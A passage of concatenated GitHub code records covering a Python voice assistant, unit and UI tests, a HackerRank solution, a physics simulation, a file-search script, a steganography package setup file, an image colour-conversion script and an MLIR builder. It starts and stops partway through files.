vIn=vIn.lower()\r\n    if(vIn=='1' or vIn=='m' or vIn=='male'):\r\n        v=0\r\n    elif(vIn=='2' or 'f' in vIn):\r\n        v=1\r\n    else:\r\n        print(\"Invalid choice, proceeding with default setting\")\r\n        return\r\n    print(\"\\nSuccess\")\r\n    engine.setProperty('voice', voices[v].id)\r\n    \r\ndef inp():\r\n    r = speech_recognition.Recognizer()\r\n    slowPrint(\"\\nSpeak now ^_^\\n\")\r\n    with speech_recognition.Microphone() as source:\r\n        r.pause_threshold = 0.5\r\n        audio = r.listen(source)\r\n    try:\r\n        slowPrint(\"Recognizing...\\n\")\r\n        speak(\"Please wait...\")\r\n        sentence = r.recognize_google(audio, language='en-in')\r\n        slowPrint(f\"Input: {sentence}\\n\")\r\n    except Exception as e:\r\n        slowPrint(\"Sorry, kindly repeat...\")\r\n        speak(\"Sorry, kindly repeat...\")  \r\n        return \"none\"\r\n    return sentence\r\n\r\ndef greet():\r\n    hour = int(datetime.datetime.now().hour)\r\n    if hour>=0 and hour<12:\r\n        slowPrint(\"Good Morning\\n\")\r\n        speak(\"Good Morning!\")\r\n    elif hour>=12 and hour<18:\r\n        slowPrint(\"Good Afternoon!\\n\")\r\n        speak(\"Good Afternoon!\")\r\n    else:\r\n        slowPrint(\"Good Evening!\\n\")\r\n        speak(\"Good Evening!\")  \r\n    slowPrint(\"Hope you are doing well\\n\")\r\n    speak(\"Hope you are doing well\")   \r\n    \r\ndef bye():\r\n    hour = int(datetime.datetime.now().hour)\r\n    if hour>=0 and hour<18:\r\n        slowPrint(\"Have a good day ahead\\n\")\r\n        speak(\"Have a good day ahead\") \r\n    else:\r\n        slowPrint(\"Bye bye! Good night!\")\r\n        speak(\"Bye bye! Good night!\")  \r\n\r\ndef can_do():\r\n    slowPrint(\"What APRRI can do:\\n\")\r\n    can_do_photos()\r\n    print(\"Other operations include:\\n1.Search and play YouTube videos - \\'youtube\\' \\n2.Change input mode - \\'change mode\\'\\n3.Change AI Voice - \\'change voice\\'\\n4.Open a file - \\'open\\'\\n5.Look up Wiki - TERM+\\'wikipedia\\'\\n6.Respond to common questions(BETA)\\n\")\r\n    \r\n    \r\ndef can_do_photos():\r\n    speak(\"Here's how I can help\")\r\n    print(\"\\nAPRRI\\'s photo operation commands:\\n(you can use other terms with the input, just make sure to include these main tiggers)\\n1.Organise photos by face - \\'Sort by faces\\'\\n2.Organise photos by month - \\'Sort by month\\'\\n3.Organise photos by year - \\'Sort by year\\'\\n4.Organise selfies and solo shots - \\'Selfie\\' or \\'Solo\\'\\n5.Find duplicate images - \\'duplicates\\'\\n6.Find similar images (BETA) - \\'similar\\'\\n\")\r\n    \r\ndef start():\r\n    hru=0\r\n    error=-1\r\n    print(\"\\n \\'help\\' for instructions\")\r\n    while 1:\r\n        try:\r\n            if(mode=='t'or mode=='T'):\r\n                sentence = input(\"\\nType Here: \")\r\n            elif(mode=='v'or mode=='V'):\r\n                sentence = inp().lower()\r\n            sentence=sentence.lower()\r\n            if 'open' in sentence:\r\n                root = Tk()\r\n                root.withdraw()\r\n                filename = askopenfilename()\r\n                os.startfile(filename)\r\n                \r\n            elif 'change' in sentence and 'voice' in sentence:\r\n                if(mode=='T' or mode=='t'):\r\n                    print(\"Loaded available voices. Proceeding now\")\r\n                voice_choose()\r\n                \r\n            elif 'change' in sentence and 'mode' in sentence:\r\n                mode_choose()\r\n                \r\n            elif 'sort' in sentence and ('person' in sentence or 'face' in sentence):\r\n                print(\"Let's organise your photos by faces\")\r\n                speak(\"Let's organise your photos by faces\")\r\n                slowPrint(\"Please choose a folder\\n\")\r\n                speak(\"Please choose a folder\")\r\n                fg.select()\r\n                speak(\"Working now\")\r\n                fg.person_sort()\r\n                print(\"\\nALL DONE! ^_^ Take a look\")\r\n                speak(\"All Done! Take a look\")\r\n                os.startfile(fg.location)\r\n                \r\n            elif 'selfie' in sentence or 'solo' in sentence:\r\n                print(\"Lets create a separate folder for your solo stills\")\r\n                speak(\"Lets create a separate folder for your solo stills\")\r\n                slowPrint(\"Please choose a folder\\n\")\r\n                speak(\"Please choose a folder that has images\")\r\n                fg.select()\r\n                slowPrint(\"Working Now...\")\r\n                speak(\"Working now\")\r\n                fg.face_find()\r\n                print(\"\\nALL DONE! ^_^\")\r\n                speak(\"All Done! Take a look\")\r\n                os.startfile(fg.location)\r\n                \r\n            elif 'similar' in sentence:\r\n                print(\"I will now analyze images based on their similarity to the image you select\")\r\n                print(\"Please choose the folder where the image is located and then the image\\n\")\r\n                speak(\"Please choose the folder where the image is located and then the image\")\r\n                dsm.similar()\r\n                print(\"\\nALL DONE! Please see the analysis results above\")\r\n                speak(\"All Done! Please see the analysis results above\")\r\n                \r\n            elif 'duplicate' in sentence:\r\n                print(\"I will now find and delete duplicate images\")\r\n                speak(\"Let's recover some storage\")\r\n                slowPrint(\"Please choose a folder\\n\")\r\n                speak(\"Please choose a folder\")\r\n                dsm.duplicates()\r\n                print(\"\\nALL DONE! ^_^ \\nTake a look\")\r\n                speak(\"All Done! Take a look\")\r\n                os.startfile(dsm.location)\r\n            \r\n            elif 'month' in sentence and 'sort' in sentence:\r\n                print(\"I will now organise your photos according to the month and year in which they were taken\")\r\n                slowPrint(\"Please choose a folder\\n\")\r\n                speak(\"Please choose a folder\")\r\n                dom.monthOrganise()\r\n                print(\"ALL DONE! ^_^\")\r\n                speak(\"All Done! Take a look\")\r\n                os.startfile(dom.location)\r\n                \r\n            elif 'year' in sentence and 'sort' in sentence:\r\n                print(\"I will now organise your photos according to the year in which they were taken\")\r\n                slowPrint(\"Please choose a folder\\n\")\r\n                speak(\"Please choose a folder\")\r\n                dom.yearOrganise()\r\n                print(\"ALL DONE! ^_^\")\r\n                speak(\"All Done! Take a look\")\r\n                os.startfile(dom.location)\r\n                \r\n            elif (sentence=='exit') or 'stop' in sentence or ('bye' in sentence):\r\n                bye()\r\n                break;\r\n                \r\n            elif 'wikipedia' in sentence:\r\n                speak('Searching Wikipedia...')\r\n                sentence = sentence.replace(\"wikipedia\", \"\")\r\n                sentence = sentence.replace(\"search\", \"\")\r\n                results = wikipedia.summary(sentence, sentences=2)\r\n                speak(\"Wikipedia says\")\r\n                print(results)\r\n                speak(results)\r\n    \r\n            elif 'music' in sentence or 'youtube' in sentence:\r\n                slowPrint(\"Lets get  grooving\")\r\n                speak(\"Lets get grooving\")\r\n                searcher=input(\"Enter search term: \")\r\n                c=-1\r\n                videosSearch = VideosSearch(searcher, limit = 2)\r\n                res=(videosSearch.result()['result'])\r\n                link=[]\r\n                print(\"Choose a video:\\n\")\r\n                speak(\"Choose a song\")\r\n                for i in res:\r\n                    print(c+2,\".\"+i['title'])\r\n                    c+=1\r\n                    link.append('https://youtu.be/'+i['id'])\r\n                    print(link[c])\r\n                play=int(input())\r\n                os.startfile(link[play])\r\n                \r\n            elif 'photo' in sentence or 'image' in sentence:\r\n                can_do_photos()\r\n    \r\n            elif 'the time' in sentence:\r\n                strTime = datetime.datetime.now().strftime(\"%H:%M:%S\")    \r\n                speak(f\"The time is {strTime}\")\r\n                \r\n            elif 'help' in sentence:\r\n                can_do()\r\n                \r\n            elif 'hello' in sentence or 'hi' in sentence or 'hey' in sentence:\r\n                slowPrint(\"Hey there!\")\r\n                speak(\"Hey there\")\r\n                \r\n            elif 'what\\'s up' in sentence or 'whatsup' in sentence or 'sup' in sentence or 'whassup' in sentence or 'how r u' in sentence or 'how are you' in sentence:\r\n                slowPrint(\"I am doing well!\\n\")\r\n                speak(\"I am doing well\")\r\n                slowPrint(\"And you?\")\r\n                speak(\"and you?\")\r\n                hru=1\r\n                \r\n            elif hru==1 and ('good' in sentence or 'fine' in sentence):\r\n                slowPrint(\"Glad to know!\")\r\n                speak(\"Glad to know\")\r\n                \r\n            elif 'what' in sentence and ' doing' in sentence:\r\n                slowPrint(\"Well, I want to organise more photos\")\r\n                speak(\"I am bored, I want to organise more photos\")\r\n        \r\n            elif 'good' in sentence and ('afternoon' in sentence or 'morning' in sentence or 'night' in sentence):\r\n                greet()\r\n                \r\n            elif(sentence=='none' or sentence==''):\r\n                continue\r\n            \r\n            elif sentence!=\"\":\r\n                error+=1\r\n                if(error<1):\r\n                    print(\"Sorry, I don't know how to respond to that. Please try something else...\")\r\n                    speak(\"Sorry, I don't know how to respond to that. Please try something else...\")\r\n                if(error==1):\r\n                    print(\"I am still learning, please try another command\\nType \\'help\\' for the list of commands\\n\")\r\n                    speak(\"I am still learning, please try another command\")\r\n                if(error>1):\r\n                    print(\"I guess this will help:\")\r\n                    can_do()\r\n                    speak(\"I guess this will help\")\r\n            #elif 'sim' in sentence: os.system('python similarity.py -f C:/Users/ASUS/Desktop/TESTF/TESTF/')\r\n        except:\r\n            print(\"An unknown error occured with image Hash/EXIF info\")\r\n            speak(\"Sorry about that, I am having issues processing that\")\r\n            continue","repo_name":"AyushRoberts/APRRI-CU-PROJECT","sub_path":"APRRI.py","file_name":"APRRI.py","file_ext":"py","file_size_in_byte":11639,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"34927272808","text":"\"\"\"Негативный тест\"\"\"\nimport pytest\nimport allure\n\nfrom api.reqres.common import Common\n\n\n@pytest.mark.usefixtures('clear_test_reports_and_logs')\n@allure.severity('CRITICAL')\n@allure.feature('Negative keys')\n@allure.epic('API Тестирование портала \"https://reqres.in/\"')\n@pytest.mark.parametrize('body_request',\n                         [f'{Common.REQUEST_BODY_POST}',\n                          f'{Common.REQUEST_BODY_POST2}'])\n@allure.title('Неуспешная регистрация нового пользователя')\ndef test_register_unsuccessful_v1(base, body_request):\n\n    response = base.api_v1.post_api_register(body_request)\n    base.asserts.assert_register_unsuccessful(response=response, exp_status_code=400)\n\n","repo_name":"ARushan2021/reqres_in","sub_path":"tests/api/negative/test_register_unsuccessful_v1.py","file_name":"test_register_unsuccessful_v1.py","file_ext":"py","file_size_in_byte":761,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"5542240078","text":"import unittest, os\n\nimport osaf.pim.tests.TestDomainModel as TestDomainModel\nfrom osaf.pim.contacts import Contact, ContactName\n\nfrom chandlerdb.util.Path import Path\nfrom i18n.tests import uw\n\n\nclass ContactsTest(TestDomainModel.DomainModelTestCase):\n    \"\"\" Test Contacts Domain Model \"\"\"\n\n    def testContacts(self):\n        \"\"\" Simple test for creating instances of contact related kinds \"\"\"\n\n        self.loadParcel(\"osaf.pim.contacts\")\n        def _verifyContactName(name):\n            self.assertEqual(name.firstName, uw('Sylvia'))\n            self.assertEqual(name.lastName, uw('Plath'))\n\n        # Test the globals\n        contactsPath = Path('//parcels/osaf/pim/contacts')\n        view = self.view\n\n        self.assertEqual(Contact.getKind(view),\n                         view.find(Path(contactsPath, 'Contact')))\n        self.assertEqual(ContactName.getKind(view),\n                         view.find(Path(contactsPath, 'ContactName')))\n\n        # Construct sample items\n        contactItem = Contact(\"contactItem\", itsView=view)\n        contactNameItem = ContactName(\"contactNameItem\", itsView=view)\n\n        # Double check kinds\n        self.assertEqual(contactItem.itsKind, Contact.getKind(view))\n        self.assertEqual(contactNameItem.itsKind, ContactName.getKind(view))\n\n        # Literal properties\n        contactNameItem.firstName = uw(\"Sylvia\")\n        contactNameItem.lastName = uw(\"Plath\")\n\n        _verifyContactName(contactNameItem)\n\n        self._reopenRepository()\n        view = self.view\n\n        contentItemParent = view.findPath(\"//userdata\")\n\n        contactNameItem = contentItemParent.getItemChild(\"contactNameItem\")\n        _verifyContactName(contactNameItem)\n\nif __name__ == \"__main__\":\n    unittest.main()\n","repo_name":"owenmorris/chandler","sub_path":"chandler/parcels/osaf/pim/tests/TestContacts.py","file_name":"TestContacts.py","file_ext":"py","file_size_in_byte":1744,"program_lang":"python","lang":"en","doc_type":"code","stars":39,"dataset":"github-code","pt":"35"}
{"seq_id":"14752081731","text":"import logging\nimport time\nfrom appium.webdriver.common import touch_action\n\n\nclass ProductPage():\n    _langXpath = \"//*[@text = 'English - EN']\"\n    _langSaveXpath = \"//*[@text = 'Save Changes']\"\n    _prodDescXpath = \"//*[@resource-id = 'title_feature_div']//android.view.View\"\n    _priceDescXpath = \"//*[@resource-id = 'atfRedesign_priceblock_priceToPay']//android.widget.EditText\"\n    _addToCartXpath = \"//*[@text = 'Add to Cart']\"\n    _cartXpath = \"com.amazon.mShop.android.shopping:id/action_bar_cart_count\"\n\n    def __init__(self, driver):\n        self.driver = driver\n\n    def gatherProductInfo(self):\n        \"\"\"Choosing English as default language and fetching the description of the choosen product\"\"\"\n        logging.info(\"Choosing English as default language\")\n        time.sleep(10)\n        self.driver.find_element_by_xpath(self._langXpath).click()\n        self.driver.find_element_by_xpath(self._langSaveXpath).click()\n        logging.info(\"Fetching the description of the choosen product from product description page\")\n        txt = self.driver.find_element_by_xpath(self._prodDescXpath).text\n        productDescription = str(txt)\n        time.sleep(2)\n        txt1 = self.driver.find_element_by_xpath(self._priceDescXpath).text\n        priceDescription = str(txt1)\n        x = priceDescription[6:]\n        finalRs = x.strip()\n\n        return productDescription, finalRs\n\n    def addToCart(self):\n        \"\"\"This method scrolls down the Add to cart button ,adds the product to cart and then navigate to cart page\"\"\"\n        logging.info(\"Scrolling down the Add to cart button\")\n        touch = touch_action.TouchAction(self.driver)\n        touch.press(x=1031, y=1296).move_to(x=1016, y=487).release().perform()\n        touch.press(x=1025, y=1329).move_to(x=1007, y=408).release().perform()\n        try:\n            self.driver.find_element_by_xpath(self._addToCartXpath).click()\n        except:\n            touch.press(x=1025, y=1329).move_to(x=1007, y=408).release().perform()\n            try:\n                self.driver.find_element_by_xpath(self._addToCartXpath).click()\n            except:\n                raise Exception\n        time.sleep(2)\n        logging.info(\"Navigate to cart page\")\n        self.driver.find_element_by_id(self._cartXpath).click()","repo_name":"asdhir/AmazonAppTesting","sub_path":"App/AmazonAppDemo/ProductPage.py","file_name":"ProductPage.py","file_ext":"py","file_size_in_byte":2275,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"27344932146","text":"# HACKERRANK\n# https://www.hackerrank.com/challenges/taum-and-bday/problem\n\nimport os\nimport sys\n\ndef taumBday(b, w, bc, wc, z):\n    smaller = ((b+w) * bc + w*z) if ((b+w) * bc + w*z) < ((b+w)*wc+b*z) else ((b+w)*wc+b*z)\n    if (b * bc + w * wc) <= smaller:\n        return (b * bc + w * wc)\n    else:\n        return smaller\n\nif __name__ == '__main__':\n    fptr = open(os.environ['OUTPUT_PATH'], 'w')\n\n    t = int(input())\n\n    for t_itr in range(t):\n        bw = input().split()\n\n        b = int(bw[0])\n\n        w = int(bw[1])\n\n        bcWcz = input().split()\n\n        bc = int(bcWcz[0])\n\n        wc = int(bcWcz[1])\n\n        z = int(bcWcz[2])\n\n        result = taumBday(b, w, bc, wc, z)\n\n        fptr.write(str(result) + '\\n')\n\n    fptr.close()\n","repo_name":"sharadbhat/Competitive-Coding","sub_path":"HackerRank/Algorithms/Taum_And_Bday.py","file_name":"Taum_And_Bday.py","file_ext":"py","file_size_in_byte":745,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"12271931323","text":"import numpy as np\r\nfrom scipy import integrate\r\nimport matplotlib.pyplot as plt\r\nfrom vpython import *\r\nimport time\r\n#define constants\r\nm1 = 2\r\nm2 = 1\r\nL1 = 1\r\nL2 = 2\r\n\r\ng=9.81\r\ndt = 0.001\r\ntmax = 30\r\n\r\ntheta1_0 = np.pi/1\r\ntheta2_0 = 0.1\r\nomega1_0 = 0.0\r\nomega2_0 = 0.0\r\n\r\ninitial = (theta1_0, omega1_0, theta2_0, omega2_0)\r\n\r\n#set up scene\r\nmainScene = canvas(title = \"Double Pendulum\", height = 700, width = 1000, background = color.green, align = \"left\")\r\nmainScene.camera.pos = vector(0, -(L1+L2)/2, 0)\r\n\r\ndef randomise():\r\n    '''generates a pendulum with randomised starting conditions'''\r\n    global m1, m2, L1, L2\r\n    m1 = np.random.uniform(low = 0.1, high = 10)\r\n    m2 = np.random.uniform(low = 0.1, high = 10)\r\n    L1 = np.random.uniform(low = 0.1, high = 10)\r\n    L2 = np.random.uniform(low = 0.1, high = 10)\r\n\r\n\r\ndef sin(x):\r\n    return(np.sin(x))\r\n\r\ndef cos(x):\r\n    return(np.cos(x))\r\n\r\nt=np.linspace(0, tmax, int(tmax/dt)) #array with all times\r\n\r\ndef int_dpendulum_sim(initial, t):\r\n\r\n    theta1, omega1, theta2, omega2 = initial\r\n\r\n    c = cos(theta1-theta2)\r\n    s = sin(theta1-theta2)\r\n\r\n    theta1_dot = omega1\r\n    omega1_dot = ( (m2*g*sin(theta2)*c) - (m2*s*(L1*omega1**2*c + L2*omega2**2)) - ((m1+m2)*g*sin(theta1))) / (L1* (m1 + m2*s**2))\r\n\r\n    theta2_dot = omega2\r\n    omega2_dot = ( (m1+m2)*(L1*omega1**2*s - g*sin(theta2) + g*sin(theta1)*c) + m2*L2*omega2**2*s*c) / ( L2*(m1 + m2*s**2) )\r\n\r\n    return theta1_dot, omega1_dot, theta2_dot, omega2_dot\r\n\r\n#perform numerical integration\r\ny = integrate.odeint(int_dpendulum_sim, initial, t)\r\n\r\n#Get omegas and thetas as functions of time\r\ntheta1 = np.zeros(int(tmax/dt))\r\nomega1 = np.zeros(int(tmax/dt))\r\ntheta2 = np.zeros(int(tmax/dt))\r\nomega2 = np.zeros(int(tmax/dt))\r\nfor i in range(int(tmax/dt)):\r\n    theta1[i] = y[i][0]\r\n    omega1[i] = y[i][1]\r\n    theta2[i] = y[i][2]\r\n    omega2[i] = y[i][3]\r\n\r\n#convert to cartesian coords\r\nx1 = L1*sin(theta1)\r\ny1 = -L1*cos(theta1)\r\nx2 = x1+L2*sin(theta2)\r\ny2 = y1-L2*cos(theta2)\r\nprint(x1)\r\n\r\ndef graphing():\r\n    plt.plot(t, x1)\r\n    plt.show()\r\n\r\ndef animate():\r\n    gd = graph(title = \"energy graph\", \r\n              ytitle = \"Energy (J)\", \r\n              xtitle = \"Time (s)\",\r\n              align = \"right\")\r\n    gpe_graph = gcurve(color = color.red, label = \"GPE\")\r\n    ke_graph = gcurve(color = color.blue, label = \"KE\")\r\n    total_graph = gcurve(color = color.green, label = \"Total Energy\")\r\n\r\n    rod1 = curve(vector( x1[0], y1[0], 0 ), vector(0,0,0), color = color.red)\r\n    rod2 = curve(vector( x2[0], y2[0], 0 ), vector( x1[0], y1[0], 0 ), color = color.blue)\r\n    ball1 = sphere(pos = vector( x1[0], y1[0], 0 ),\r\n                  radius = 0.1, color = color.red, make_trail = True, retain = 50)\r\n\r\n    ball2 = sphere(pos = vector( x2[0], y2[0], 0 ),\r\n                  radius = 0.1, color = color.blue, make_trail = True, retain = 50)\r\n    \r\n    for i in range(int(tmax/dt)):\r\n\r\n        rod1.modify(0, pos = vector( x1[i], y1[i], 0 ))\r\n        rod2.modify(0, pos = vector( x2[i], y2[i], 0 ))\r\n        rod2.modify(1, pos = vector( x1[i], y1[i], 0 ))\r\n        ball1.pos = vector( x1[i], y1[i], 0 )\r\n        ball2.pos = vector( x2[i], y2[i], 0 )\r\n\r\n        #plot graphs:\r\n        GPE = m1*g*(L1+L2+y1[i]) + m2*g*(L1+L2+y2[i])\r\n        gpe_graph.plot(t[i], GPE)\r\n        KE = 0.5*( m1*L1**2*omega1[i]**2 + m2*( L1**2*omega1[i]**2 + L2**2*omega2[i]**2 + 2*L1*L2*omega1[i]*omega2[i]*cos(theta1[i]-theta2[i])) )\r\n        ke_graph.plot(t[i], KE)\r\n        total_graph.plot(t[i], KE+GPE)\r\n        time.sleep(dt/100)\r\n\r\n        \r\n\r\n\r\n\r\nanimate()","repo_name":"JackBarker7/DoublePendulum","sub_path":"doublePendulum.py","file_name":"doublePendulum.py","file_ext":"py","file_size_in_byte":3568,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"41788066733","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n# Auteur(s) : Dylan DE MIRANDA (dylandemiranda@gmail.com) & Alexy DA CRUZ (adacruz@geomtech.fr)\n# Version : 0.1\n# Date : 04/02/2021\n# Thème du script : Analyse récursive des fichiers d'un répertoire\n\nimport os\nimport time\n\ndef goodBye():\n    \"\"\"\n    affiche 3 sauts de ligne et Fin du programme\n    Entrées : aucune\n    Sortie : aucune\n    \"\"\"\n    print(\"\\n\\n\\nAu revoir\\n\\nFin du programme\")\n\ndef analyseFile(file_path, word_to_find):\n    \"\"\"\n    \"\"\"\n    if (os.path.exists(file_path)):\n        word_founded = False\n        lines_with_word = []\n\n        try: # On essaie\n            f = open(file_path, 'r', encoding=\"utf-8\") # On ouvre le fichier demandé\n            file_lines = f.readlines() # On liste les lignes\n\n            lines_counter = 1 # On créer un compteur à partir de 1 car un fichier n'a pas de ligne 0 :-)\n            for line in file_lines: # Pour chaque ligne du fichier\n                if line.startswith(word_to_find): # SI la ligne commence par le mot recherché                    \n                    line_str = str(lines_counter) + \":\" + line\n                    lines_with_word.append(line_str)\n                    word_founded = True\n                \n                lines_counter += 1 # On compte les lignes\n        except IOError: # Si une erreur de type IO survient\n            print(\"Erreur : Le fichier\", file_path, \"n'est pas accessible\") # On affiche un message d'erreur\n        finally:\n            f.close() # On ferme le fichier\n\n        return [word_founded, lines_with_word]\n\ndef analyseDirectory(report_file, directory_path, word_to_find):\n    \"\"\"\n    \"\"\"\n    directory_content = os.listdir(directory_path) # On liste les fichiers\n\n    for content in directory_content: # Pour chaque fichier ou répertoire dans le répertoire\n        content_path = os.path.join(directory_path, content)\n\n        if (os.path.isfile(content_path)): # Si c'est un fichier\n            result_analyse = analyseFile(content_path, word_to_find) # On analyse le fichier\n\n            if (result_analyse[0]):\n                directory_str = \"Dossier : \" + directory_path + \"\\n\"\n                filename_str = \"\\n\" + str(os.path.basename(content_path)) + \"\\n\"\n                report_file.write(directory_str)\n                report_file.write(filename_str)\n                \n                for line in result_analyse[1]:\n                    if (line == result_analyse[1][-1]):\n                        line_str = line + \"\\n\"\n                        report_file.write(line_str)\n                    else:\n                        report_file.write(line)\n        elif (os.path.isdir(content_path)): # Si c'est un répertoire\n            analyseDirectory(report_file, content_path, word_to_find) # On analyse le répertoire\n\n################################################\n############### MAIN PROGRAM  ##################\n################################################\n\ndirectory_to_analyse = input(\"Répertoire à analyser > \")\ndirectory_path = os.path.join(os.getcwd(), directory_to_analyse)\n\nif (os.path.exists(directory_path)):  # Si le répertoire existe\n    word_to_find = input(\"Mot à trouver > \")    \n\n    time_string_file = time.strftime(\"%d-%m-%Y-%H%M%S\", time.localtime())\n    time_string = \"Date : \" + str(time.strftime(\"%d-%m-%Y %H:%M:%S\", time.localtime())) + \"\\n\"\n    report_filename = \"report_\" + str(time_string_file) + \".txt\"\n\n    report_file = open(report_filename, \"w\", encoding=\"utf-8\")\n    report_file.write(time_string)\n    analyseDirectory(report_file, directory_path, word_to_find)\n    report_file.close()\nelse:\n    print(\"Ce répertoire n'existe pas\")\n\ngoodBye()\n","repo_name":"geomtech/Rendu-Python","sub_path":"Leçon 6/PASR_Python_Chapitre_6_Fichiers_Exo4_DACRUZ_DEMIRANDA.py","file_name":"PASR_Python_Chapitre_6_Fichiers_Exo4_DACRUZ_DEMIRANDA.py","file_ext":"py","file_size_in_byte":3656,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"73292227941","text":"import os\nfrom setuptools import setup, Extension\nfrom distutils.command.build_ext import build_ext as build_ext_orig\n\n\nfrom distutils.command.build_ext import build_ext as build_ext_orig\nclass CTypesExtension(Extension): pass\nclass build_ext(build_ext_orig):\n\n    def build_extension(self, ext):\n        self._ctypes = isinstance(ext, CTypesExtension)\n        return super().build_extension(ext)\n\n    def get_export_symbols(self, ext):\n        if self._ctypes:\n            return ext.export_symbols\n        return super().get_export_symbols(ext)\n\n    def get_ext_filename(self, ext_name):\n        if self._ctypes:\n            return ext_name + '.so'\n        return super().get_ext_filename(ext_name)\n\n\nm_stc = CTypesExtension('hstego_stc_extension', \n                  include_dirs = ['src/'],\n                  sources = ['src/stc_interface.cpp',\n                             'src/common.cpp',\n                             'src/stc_embed_c.cpp',\n                             'src/stc_extract_c.cpp',\n                             'src/stc_ml_c.cpp'],\n                  )\n\n\nm_jpg = CTypesExtension('hstego_jpeg_toolbox_extension', \n                  sources = ['src/jpeg_toolbox_extension.c'], \n                  include_dirs = ['src/jpeg-9c-win/Include/'],\n                  libraries = ['src/jpeg-9c-win/Lib/static_x64/jpeg'],\n                  )\n\n\nhere = os.path.abspath(os.path.dirname(__file__))\nwith open(os.path.join(here, 'README.md'), encoding='utf-8') as f:\n        long_description = f.read()\n\nsetup(name = 'hstego',\n      version = '0.3',\n      author=\"Daniel Lerch\",\n      author_email=\"dlerch@gmail.com\",\n      url=\"https://github.com/daniellerch/hstego\",\n      description = 'Hard to detect image steganography',\n      py_modules = [\"hstegolib\", \"hstegogui\"],\n      scripts = ['hstego.py'],\n      data_files = [('resources', ['resources/hide.png']),\n                    ('resources', ['resources/extract.png'])],\n      ext_modules = [m_stc, m_jpg],\n      cmdclass={'build_ext': build_ext})\n\n\n","repo_name":"daniellerch/hstego","sub_path":"setup-win.py","file_name":"setup-win.py","file_ext":"py","file_size_in_byte":2007,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"35"}
{"seq_id":"13829683418","text":"import cv2 #thu vien xu li anh\r\nimport numpy as np  #thu vien toan hoc\r\n\r\n#Đọc ảnh màu dùng thư viện OpenCV\r\nimg = cv2.imread('girl.jpg', cv2.IMREAD_COLOR)\r\n\r\n#Lay kich thuoc cua anh\r\nheight, width, channel = img.shape\r\n\r\n#Khai bao 3 bien de chua gia tri 4 kenh C,M,Y,K\r\ncyan = np.zeros(( height, width,3), np.uint8)\r\nmagenta = np.zeros(( height, width, 3), np.uint8)\r\nyellow = np.zeros(( height, width, 3), np.uint8)\r\nblack = np.zeros(( height, width, 3), np.uint8)\r\n\r\n#Ban dau set zero cho tat ca cac diem anh co trong 3 kenh\r\ncyan[:] = [0,0,0]\r\nmagenta[:] = [0,0,0]\r\nyellow[:] = [0,0,0]\r\nblack[:] = [0,0,0]\r\n\r\n#Dung vong for de doc het cac diem anh\r\nfor x in range(width):\r\n    for y in range(height):\r\n\r\n        #Lay gia tri R,G,B cua tung pixel va gan vao cac bien R,G,B\r\n        R = img[y,x,2]\r\n        G = img[y,x,1]\r\n        B = img[y,x,0]\r\n        #Gan gia tri min cua R,G,B vao bien K\r\n        K = min(R,G,B)\r\n\r\n        #Cyan la ket hop cua Green va Blue\r\n        cyan[y,x,1] = G\r\n        cyan[y,x,0] = B\r\n\r\n        #Magenta la ket hop cua Red va Blue\r\n        magenta[y,x,2] = R\r\n        magenta[y,x,0] = B\r\n\r\n        #Yellow la ket hop cua Red va Green\r\n        yellow[y,x,2] = R\r\n        yellow[y,x,1] = G\r\n\r\n        #Black tao nen khi gan min(R,G,B) vao ca 3 kenh R,G,B\r\n        black[y,x,2] = K\r\n        black[y,x,1] = K\r\n        black[y,x,0] = K\r\n\r\n#Hien thi 4 tam hinh tren cung mot cua so\r\nvert=np.concatenate((cyan,magenta),axis=0)\r\nvert1=np.concatenate((yellow,black),axis=0)\r\nvert2=np.concatenate((vert,vert1),axis=1)\r\n\r\n#Dieu chinh kich thuoc cua so hien thi\r\nCMYK_program = cv2.resize(vert2,(700,700))\r\n\r\n#Hiển thị hình dùng thư viện OpenCV\r\ncv2.imshow('Anh goc', img)\r\ncv2.imshow('Chuyen RGB sang CMYK', CMYK_program)\r\n\r\n#Bấm phím bất kì để đóng cửa sổ hiển thị hình\r\ncv2.waitKey(0)\r\n\r\n#Giai phong bo nho\r\ncv2.destroyAllWindows()","repo_name":"TNH510/Machine-Vision","sub_path":"Code_python/MP06_ChuyenRGBsangCMYK.py","file_name":"MP06_ChuyenRGBsangCMYK.py","file_ext":"py","file_size_in_byte":1892,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"28526990812","text":"from typing import List, Optional, Union\n\nimport mlir.astnodes as ma\nfrom mlir.builder.builder import DialectBuilder\n\nfrom .astnodes import FunctionTypeAttr, GenericModule, GenericOperation, QuotedStr, StringAttr\nfrom .common import ReturnValue\n\n\nclass BaseDialectException(Exception):\n    pass\n\n\nclass MLIRDialectBuilder(DialectBuilder):\n    \"\"\"Implement base dialect features.\"\"\"\n\n    def call(\n        self,\n        func_name: str,\n        operands: List[ReturnValue] = [],\n        return_types: List[ma.Type] = []\n    ) -> Union[ReturnValue, List[ReturnValue], None]:\n        name: QuotedStr = QuotedStr(\"func.call\")\n\n        op: GenericOperation = GenericOperation(\n            name=name,\n            args=[op.sym for op in operands],\n            successors=None,\n            regions=None,\n            attributes=ma.AttributeDict([\n                ma.AttributeEntry(\"callee\", ma.SymbolRefAttr([ma.SymbolRefId(func_name)]))\n            ]),\n            type=[ma.FunctionType([op.type for op in operands], return_types)]\n        )\n\n        results: Union[ma.SsaId, List[ma.SsaId], None]\n        results = self.core_builder._insert_op_in_block([None] * len(return_types), op)\n\n        if results is None:\n            return None\n        if not isinstance(results, list):\n            return ReturnValue(results, return_types[0])\n\n        if len(results) != len(return_types):\n            raise BaseDialectException(\"unexpected results length\")\n\n        return [\n            ReturnValue(result, return_type)\n            for result, return_type in zip(results, return_types)\n        ]\n\n    def func(\n        self,\n        name: str,\n        region: Optional[ma.Region] = None,\n        operands: List[ReturnValue] = [],\n        return_types: List[ma.Type] = [],\n        insert: bool = False\n    ) -> GenericOperation:\n        operand_names: List[ma.SsaId] = [op.sym for 